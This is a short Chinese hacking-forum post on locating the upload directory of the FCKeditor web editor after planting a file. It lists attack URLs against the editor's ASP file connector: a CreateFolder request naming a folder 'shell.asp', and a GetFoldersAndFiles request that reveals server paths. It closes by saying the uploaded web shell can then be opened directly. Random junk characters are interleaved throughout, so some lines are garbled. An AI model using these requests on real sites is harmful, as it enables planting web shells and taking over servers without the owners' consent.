中国网络渗透测试联盟

标题: fckeditor找上传路径方法 [打印本页]
作者: admin    时间: 2013-10-17 19:37
标题: fckeditor找上传路径方法
网上流行着是上传是这样子的. j8 x9 c5 H: J* [- C* L5 k0 P
3 `3 s5 _$ Z: M6 U0 {: k' k
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
( v' |, Z: o2 C9 F8 fhttp://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684/ G" N; S, o; O( A
2 _4 h$ Y4 j- S, Q! M
上传后老找不到路径，测了一下，我发现
2 a% H$ |  |6 n+ Q* i; w! X- i, k  Z1 M& m2 o
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/3 H" \) m2 Q$ v" O
6 F7 b, P5 ]! a1 L) e5 R$ _
可以爆出路径，显示以下内容
1 Y2 X. l  `9 S6 k: `" a- o0 G. Y- d$ y
& L* m3 V0 ~9 j9 l  o
得出路径，直接打开就见到马子
% A0 H+ c4 C6 [2 f) O% O



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2